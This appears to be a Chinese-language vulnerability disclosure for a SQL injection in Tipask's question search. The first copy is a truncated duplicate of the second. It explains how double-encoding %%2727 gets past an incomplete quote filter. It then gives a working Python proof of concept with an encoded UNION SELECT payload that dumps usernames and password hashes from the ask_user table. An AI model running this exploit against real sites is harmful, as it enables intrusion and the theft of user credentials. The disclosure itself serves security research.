VULHUB ™

### 简要描述： 某处过滤不全 再次过滤还是未考虑全 ### 详细说明： ``` function onsearch() { $qstatus = $status = $this->get[3] ? $this->get[3] : 1; (1 == $status) && ($qstatus = "1,2,6,9"); (2 == $status) && ($qstatus = "2,6"); $word = urldecode($this->post['word'] ? str_replace("%27", "", $this->post['word']) : $this->get[2]); (!trim($word)) && $this->message("搜索关键词不能为空!", 'BACK'); $navtitle = $word . '-搜索问题'; @$page = max(1, intval($this->get[4])); $pagesize = $this->setting['list_default']; $startindex = ($page - 1) * $pagesize; if (preg_match("/^tag:(.+)/", $word, $tagarr)) { $tag = $tagarr[1]; $rownum = $_ENV['question']->rownum_by_tag($tag, $qstatus); $questionlist = $_ENV['question']->list_by_tag($tag, $qstatus, $startindex, $pagesize); } else { $questionlist = $_ENV['question']->search_title($word, $qstatus, 0, $startindex, $pagesize); $rownum = $_ENV['question']->search_title_num($word, $qstatus); } $related_words = $_ENV['question']->get_related_words(); $hot_words =...

### 简要描述： 某处过滤不全 再次过滤还是未考虑全 ### 详细说明： ``` function onsearch() { $qstatus = $status = $this->get[3] ? $this->get[3] : 1; (1 == $status) && ($qstatus = "1,2,6,9"); (2 == $status) && ($qstatus = "2,6"); $word = urldecode($this->post['word'] ? str_replace("%27", "", $this->post['word']) : $this->get[2]); (!trim($word)) && $this->message("搜索关键词不能为空!", 'BACK'); $navtitle = $word . '-搜索问题'; @$page = max(1, intval($this->get[4])); $pagesize = $this->setting['list_default']; $startindex = ($page - 1) * $pagesize; if (preg_match("/^tag:(.+)/", $word, $tagarr)) { $tag = $tagarr[1]; $rownum = $_ENV['question']->rownum_by_tag($tag, $qstatus); $questionlist = $_ENV['question']->list_by_tag($tag, $qstatus, $startindex, $pagesize); } else { $questionlist = $_ENV['question']->search_title($word, $qstatus, 0, $startindex, $pagesize); $rownum = $_ENV['question']->search_title_num($word, $qstatus); } $related_words = $_ENV['question']->get_related_words(); $hot_words = $_ENV['question']->get_hot_words(); $corrected_words = $_ENV['question']->get_corrected_word($word); $departstr = page($rownum, $pagesize, $page, "question/search/$word/$status"); include template('search'); ``` 传进来的参数是urlencode的 然后绕过了gpc，传进来的过滤了%27，那么%%2727就可以绕过。 然后就是注入了。 ### 漏洞证明： ``` #coding=GBK import requests import re payload = {'word':'61%64%6D%69%6E%%2727%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%31%2C%32%2C%33%2C%34%2C%35%2C%36%2C%37%2C%38%2C%63%6F%6E%63%61%74%28%75%73%65%72%6E%61%6D%65%2C%30%78%32%34%2C%70%61%73%73%77%6F%72%64%29%2C%31%30%2C%31%31%2C%31%32%2C%31%33%2C%31%34%2C%31%35%2C%31%36%2C%31%37%2C%31%38%2C%31%39%2C%32%30%20%66%72%6F%6D%20%61%73%6B%5F%75%73%65%72%20%23'} html = requests.post('http://localhost/tipask/?question/search/',params=payload).text all = re.findall("(\w+?)\$(\w+)", html) for username, password in all: print username, password ```